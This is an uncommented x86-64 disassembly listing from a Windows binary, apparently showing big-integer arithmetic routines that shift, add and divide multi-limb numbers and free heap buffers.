movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x238]
movups xmm1, xmmword [rsp + 0x248]
movups xmm2, xmmword [rsp + 0x258]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x30]
call fcn.14005c970
movzx ebx, byte [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x140058bbd
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
test rcx, rcx
jne 0x140058bcb
jmp 0x140058c4d
lea rdx, [rsp + 0x38]
test rcx, rcx
je 0x140058c4d
lea rax, [rsp + 0x58]
shl rcx, 3
xor r8d, r8d
xor r10d, r10d
xor r11d, r11d
nop dword [rax]
mov rsi, qword [rdx + r8]
mov r9, rsi
shr r9, 0x3f
add rsi, rsi
add rsi, r10
adc r9, r11
mov qword [rdx + r8], rsi
add r8, 8
mov r10, r9
mov r11d, 0
cmp rcx, r8
jne 0x140058be0
test r9, r9
je 0x140058c4d
mov r8, qword [rsp + 0x58]
cmp r8, 4
jbe 0x140058c2b
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058c39
lea rdx, [rsp + 0x38]
mov rcx, r8
mov r8d, 4
cmp rcx, r8
je 0x14005abe7
mov qword [rdx + rcx*8], 1
inc qword [rax]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rsi, [rsp + 0x70]
lea r8, [rsp + 0xf0]
mov rcx, rsi
mov edx, ebx
call fcn.140056460
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x200]
movups xmm1, xmmword [rsp + 0x210]
movups xmm2, xmmword [rsp + 0x220]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140055ff0
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [rsp + 0x3c0]
movups xmm1, xmmword [rsp + 0x3d0]
movups xmm2, xmmword [rsp + 0x3e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x2a8]
movups xmm1, xmmword [rsp + 0x2b8]
movups xmm2, xmmword [rsp + 0x2c8]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x30]
call fcn.14005c970
movzx ebx, byte [rsp + 0xe0]
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x140058daa
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
test rcx, rcx
jne 0x140058db8
jmp 0x140058e3d
lea rdx, [rsp + 0x38]
test rcx, rcx
je 0x140058e3d
lea rax, [rsp + 0x58]
shl rcx, 3
xor r8d, r8d
xor r10d, r10d
xor r11d, r11d
nop word [rax + rax]
mov rsi, qword [rdx + r8]
mov r9, rsi
shr r9, 0x3f
add rsi, rsi
add rsi, r10
adc r9, r11
mov qword [rdx + r8], rsi
add r8, 8
mov r10, r9
mov r11d, 0
cmp rcx, r8
jne 0x140058dd0
test r9, r9
je 0x140058e3d
mov r8, qword [rsp + 0x58]
cmp r8, 4
jbe 0x140058e1b
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x140058e29
lea rdx, [rsp + 0x38]
mov rcx, r8
mov r8d, 4
cmp rcx, r8
je 0x14005ac05
mov qword [rdx + rcx*8], 1
inc qword [rax]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x190], xmm2
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x170], xmm0
lea rsi, [rsp + 0x70]
lea r8, [rsp + 0x170]
mov rcx, rsi
mov edx, ebx
call fcn.140056460
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movups xmm2, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x30]
mov rdx, rsi
call fcn.140055ff0
movzx eax, byte [rsp + 0x120]
mov sil, 1
cmp al, 1
je 0x140058eec
movzx ecx, byte [rsp + 0xe0]
test rcx, rcx
je 0x140058f22
cmp ecx, 1
je 0x140058eec
mov sil, 2
test al, al
je 0x140058f2a
mov r8, qword [rsp + 0x118]
cmp r8, 4
jbe 0x140058f3a
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov rax, qword [rsp + 0xd8]
cmp rax, 4
ja 0x140058f50
lea r9, [rsp + 0xb8]
jmp 0x140058f60
test al, al
je 0x14005a89a
xor esi, esi
mov r8, qword [rsp + 0x118]
cmp r8, 4
ja 0x140058efa
lea rdx, [rsp + 0xf8]
mov rax, qword [rsp + 0xd8]
cmp rax, 4
jbe 0x140058f18
mov rax, qword [rsp + 0xb8]
mov r9, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.140057a70
lea rcx, [rsp + 0x548]
mov edx, esi
mov r8, rbx
call fcn.140056460
cmp qword [rsp + 0x118], 5
jb 0x140058fa6
mov r8, qword [rsp + 0x100]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xd8], 5
movabs rsi, 0xaaaaaaaaaaaaaaab
jb 0x140058fd2
mov r8, qword [rsp + 0xc0]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x548]
lea r8, [rsp + 0x430]
call fcn.14005cdf0
movzx r9d, byte [rsp + 0x60]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
mov r8, qword [rsp + 0xd8]
cmp r8, 4
jbe 0x14005903e
mov r8, qword [rsp + 0xb8]
mov r10, qword [rsp + 0xc0]
test r8, r8
jne 0x14005904b
jmp 0x140059098
lea r10, [rsp + 0xb8]
test r8, r8
je 0x140059098
shl r8, 3
xor ecx, ecx
nop word cs:[rax + rax]
mov r11, qword [r10 + r8 - 8]
add rcx, r11
adc rcx, 0
mov rax, rcx
mul rsi
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rax, rcx
add rax, r11
imul rax, rsi
lea rcx, [rax + rax*2]
sub r11, rcx
mov qword [r10 + r8 - 8], rax
mov rcx, r11
add r8, 0xfffffffffffffff8
jne 0x140059060
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
nop word [rax + rax]
mov r8, qword [rsp + 0x98]
mov r10, rcx
mov r11, r8
cmp r8, 5
jb 0x1400590fc
mov r11, qword [rsp + 0x78]
mov r10, rdx
test r11, r11
je 0x140059127
cmp qword [r10 + r11*8 - 8], 0
jne 0x140059127
mov r10, rax
cmp r8, 5
jb 0x14005911a
mov r8, qword [rsp + 0x78]
mov r10, rcx
test r8, r8
je 0x1400590e0
dec r8
mov qword [r10], r8
jmp 0x1400590e0
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x1c0]
lea r8, [rsp + 0xf0]
mov edx, r9d
call fcn.140056460
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x430]
movups xmm1, xmmword [rsp + 0x440]
movups xmm2, xmmword [rsp + 0x450]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x468]
call fcn.14005cdf0
movzx edx, byte [rsp + 0xa0]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
mov rax, qword [rsp + 0xd8]
cmp rax, 4
jbe 0x140059211
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xc0]
test rax, rax
jne 0x14005921e
jmp 0x14005924c
lea rcx, [rsp + 0xb8]
test rax, rax
je 0x14005924c
shl rax, 3
xor r8d, r8d
nop word cs:[rax + rax]
mov r9, qword [rcx + rax - 8]
shld r8, r9, 0x3f
and r9d, 1
mov qword [rcx + rax - 8], r8
mov r8, r9
add rax, 0xfffffffffffffff8
jne 0x140059230
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x58]
lea rcx, [rsp + 0x38]
mov r8, qword [rsp + 0x40]
nop word cs:[rax + rax]
mov r9, qword [rsp + 0x58]
mov r10, rcx
mov r11, r9
cmp r9, 5
jb 0x1400592a9
mov r11, qword [rsp + 0x38]
mov r10, r8
test r11, r11
je 0x1400592d4
cmp qword [r10 + r11*8 - 8], 0
jne 0x1400592d4
mov r10, rax
cmp r9, 5
jb 0x1400592c7
mov r9, qword [rsp + 0x38]
mov r10, rcx
test r9, r9
je 0x140059290
dec r9
mov qword [r10], r9
jmp 0x140059290
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x110], xmm2
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rcx, [rsp + 0x170]
lea r8, [rsp + 0xf0]
call fcn.140056460
mov rax, qword [rsp + 0x498]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x468]
movups xmm1, xmmword [rsp + 0x478]
movups xmm2, xmmword [rsp + 0x488]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0xf0]
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x3f8]
call fcn.14005cdf0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx ebx, byte [rsp + 0x120]
cmp al, 1
jne 0x1400593be
mov rax, qword [rsp + 0x118]
cmp rax, 4
jbe 0x140059426
mov rax, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
jmp 0x14005942e
movzx ecx, bl
test rcx, rcx
je 0x1400594b0
cmp ecx, 1
jne 0x140059503
mov cl, 2
sub cl, al
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0xa0], cl
mov eax, dword [rsp + 0x61]
mov ecx, dword [rsp + 0x64]
mov dword [rsp + 0xa1], eax
mov dword [rsp + 0xa4], ecx
jmp 0x140059647
lea rdx, [rsp + 0xf8]
lea r8, [rdx + rax*8]
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xb0], 0
lea rcx, [rsp + 0xb0]
call fcn.140053e30
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0xa0], bl
cmp qword [rsp + 0x58], 5
jb 0x140059647
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140059647
test al, al
je 0x140059507
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0xf0]
mov rcx, rsi
call fcn.140056650
jmp 0x140059638
test al, al
je 0x1400594b4
mov rax, qword [rsp + 0x118]
cmp rax, 4
jbe 0x14005953f
mov rax, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
ja 0x140059552
lea r8, [rsp + 0x38]
cmp rax, rcx
jb 0x140059565
jmp 0x1400595e8
lea rdx, [rsp + 0xf8]
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x140059530
mov rcx, qword [rsp + 0x38]
mov r8, qword [rsp + 0x40]
cmp rax, rcx
jae 0x1400595e8
mov sil, 2
sub sil, bl
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xf0]
call fcn.140056e30
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
mov edx, esi
jmp 0x140059642
jbe 0x14005a8b4
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmm2, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rsp + 0xb0]
lea rdx, [rsp + 0xf0]
lea r8, [rsp + 0x70]
mov rcx, rsi
call fcn.140056a00
lea rcx, [rsp + 0x70]
mov edx, ebx
mov r8, rsi
call fcn.140056460
movzx edx, byte [rsp + 0xa0]
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x150], xmm2
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x140], xmm1
mov rax, qword [rsp + 0x158]
cmp rax, 4
jbe 0x1400596a1
mov rax, qword [rsp + 0x138]
mov rcx, qword [rsp + 0x140]
test rax, rax
jne 0x1400596ae
jmp 0x1400596dc
lea rcx, [rsp + 0x138]
test rax, rax
je 0x1400596dc
shl rax, 3
xor r8d, r8d
nop word cs:[rax + rax]
mov r9, qword [rcx + rax - 8]
shld r8, r9, 0x3f
and r9d, 1
mov qword [rcx + rax - 8], r8
mov r8, r9
add rax, 0xfffffffffffffff8
jne 0x1400596c0
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movaps xmm2, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x30], xmm0
lea rax, [rsp + 0x58]
lea rcx, [rsp + 0x38]
mov r8, qword [rsp + 0x40]
nop word cs:[rax + rax]
mov r9, qword [rsp + 0x58]
mov r10, rcx
mov r11, r9
cmp r9, 5
jb 0x140059739
mov r11, qword [rsp + 0x38]
mov r10, r8
test r11, r11
je 0x140059764
cmp qword [r10 + r11*8 - 8], 0
jne 0x140059764
mov r10, rax
cmp r9, 5
jb 0x140059757
mov r9, qword [rsp + 0x38]
mov r10, rcx
test r9, r9
je 0x140059720
dec r9
mov qword [r10], r9
jmp 0x140059720
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x530], xmm2
movaps xmmword [rsp + 0x520], xmm1
movaps xmmword [rsp + 0x510], xmm0
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x510]
call fcn.140056460
mov rax, qword [rsp + 0x308]
cmp rax, 4
jbe 0x1400597c0
mov rax, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x2f0]
jmp 0x1400597c8
lea rdx, [rsp + 0x2e8]
movzx ebx, byte [rsp + 0x310]
lea r8, [rdx + rax*8]
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.140053e30
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov rcx, qword [rsp + 0x58]
cmp rcx, 4
jbe 0x140059836
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
test rcx, rcx
jne 0x140059844
jmp 0x1400598cd
lea rdx, [rsp + 0x38]
test rcx, rcx
je 0x1400598cd
lea rax, [rsp + 0x58]
shl rcx, 3
xor r8d, r8d
xor r10d, r10d
xor r11d, r11d
nop word cs:[rax + rax]
mov rsi, qword [rdx + r8]
mov r9, rsi
shr r9, 0x3f
add rsi, rsi
add rsi, r10
adc r9, r11
mov qword [rdx + r8], rsi
add r8, 8
mov r10, r9
mov r11d, 0
cmp rcx, r8
jne 0x140059860
test r9, r9
je 0x1400598cd
mov r8, qword [rsp + 0x58]
cmp r8, 4
jbe 0x1400598ab
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
lea rax, [rsp + 0x38]
jmp 0x1400598b9
lea rdx, [rsp + 0x38]
mov rcx, r8
mov r8d, 4
cmp rcx, r8
je 0x14005ac23
mov qword [rdx + rcx*8], 1
inc qword [rax]
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rsp + 0x30]
lea r8, [rsp + 0x70]
mov rcx, rsi
mov edx, ebx
call fcn.140056460
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xb0]
mov r8, rsi
call fcn.14005c970
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1e0], xmm2
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx ebx, byte [rsp + 0x1a0]
cmp bl, 1
jne 0x1400599da
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0xa0], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
jmp 0x140059c47
movzx esi, byte [rsp + 0x60]
test rsi, rsi
je 0x140059a10
cmp esi, 1
jne 0x140059a55
mov rax, qword [rsp + 0x198]
cmp rax, 4
jbe 0x140059ab2
mov rax, qword [rsp + 0x178]
mov rdx, qword [rsp + 0x180]
jmp 0x140059aba
test bl, bl
je 0x140059a59
mov rax, qword [rsp + 0x58]
cmp rax, 4
jbe 0x140059b3c
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x198]
cmp rcx, 4
ja 0x140059b53
lea r8, [rsp + 0x178]
cmp rax, rcx
jb 0x140059b68
jmp 0x140059bc1
test bl, bl
je 0x140059a14
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rbx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x170]
mov rcx, rbx
call fcn.140056650
lea rcx, [rsp + 0x70]
mov edx, esi
mov r8, rbx
jmp 0x140059c42
lea rdx, [rsp + 0x178]
lea r8, [rdx + rax*8]
mov qword [rsp + 0xd8], 0
mov qword [rsp + 0xb0], 0
lea rcx, [rsp + 0xb0]
call fcn.140053e30
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0xa0], bl
cmp qword [rsp + 0x58], 5
jb 0x140059c47
mov r8, qword [rsp + 0x40]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140059c47
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x198]
cmp rcx, 4
jbe 0x140059a3f
mov rcx, qword [rsp + 0x178]
mov r8, qword [rsp + 0x180]
cmp rax, rcx
jae 0x140059bc1
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rsi, [rsp + 0xb0]
lea rdx, [rsp + 0x170]
lea r8, [rsp + 0x70]
mov rcx, rsi
call fcn.140056a00
lea rcx, [rsp + 0x70]
mov edx, ebx
mov r8, rsi
jmp 0x140059c42
jbe 0x14005a909
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movaps xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x170]
call fcn.140056e30
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0xb0]
mov edx, esi
call fcn.140056460
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x2e0]
call fcn.14005cdf0
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0x110], xmm2
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x1a0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x170]
movaps xmm1, xmmword [rsp + 0x180]
movaps xmm2, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x1c0]
call fcn.14005cdf0
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x180], xmm1
movaps xmmword [rsp + 0x190], xmm2
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x420]
cmp rax, 4
jbe 0x140059d3a
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x408]
jmp 0x140059d42
lea rcx, [rsp + 0x400]
cmp rax, r14
ja 0x14005ac41
test rax, rax
je 0x140059dff
cmp rax, 1
jne 0x140059d64
xor r10d, r10d
xor r8d, r8d
xor edx, edx
jmp 0x140059dc1
mov r9, rax
and r9, 0xfffffffffffffffe
xor edx, edx
xor r8d, r8d
xor r11d, r11d
xor r10d, r10d
nop word cs:[rax + rax]
add r8, qword [rdi + r10*8]
adc r11, 0
add r8, qword [rcx + r10*8]
adc r11, 0
mov qword [rdi + r10*8], r8
xor r8d, r8d
add r11, qword [rdi + r10*8 + 8]
setb r8b
add r11, qword [rcx + r10*8 + 8]
mov qword [rdi + r10*8 + 8], r11
lea r10, [r10 + 2]
adc r8, 0
mov r11d, 0
cmp r9, r10
jne 0x140059d80
test al, 1
je 0x140059dd8
add r8, qword [rdi + r10*8]
adc rdx, 0
add r8, qword [rcx + r10*8]
adc rdx, 0
mov qword [rdi + r10*8], r8
mov r8, rdx
test r8, r8
je 0x140059dff
shl rax, 3
lea rcx, [r14*8]
nop dword [rax]
cmp rcx, rax
je 0x140059dff
inc qword [rdi + rax]
lea rax, [rax + 8]
je 0x140059df0
movaps xmm6, xmmword [rsp + 0x170]
mov r15, qword [rsp + 0x180]
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x130], xmm0
mov r12, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x1a0]
mov rbp, r13
shl rbp, 6
mov qword [rsp + 0xb0], 4
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 2
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0xb0]
call fcn.140055d90
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
lea rax, [rsp + 0x98]
lea rcx, [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
nop word [rax + rax]
mov r13, qword [rsp + 0x98]
mov rdx, rcx
mov r8, r13
cmp r13, 5
jb 0x140059edc
mov r8, qword [rsp + 0x78]
mov rdx, rsi
test r8, r8
je 0x140059f07
cmp qword [rdx + r8*8 - 8], 0
jne 0x140059f07
mov rdx, rax
cmp r13, 5
jb 0x140059efa
mov r13, qword [rsp + 0x78]
mov rdx, rcx
test r13, r13
je 0x140059ec0
dec r13
mov qword [rdx], r13
jmp 0x140059ec0
movaps xmmword [rsp + 0x30], xmm6
mov qword [rsp + 0x40], r15
movaps xmm0, xmmword [rsp + 0x130]
movups xmmword [rsp + 0x48], xmm0
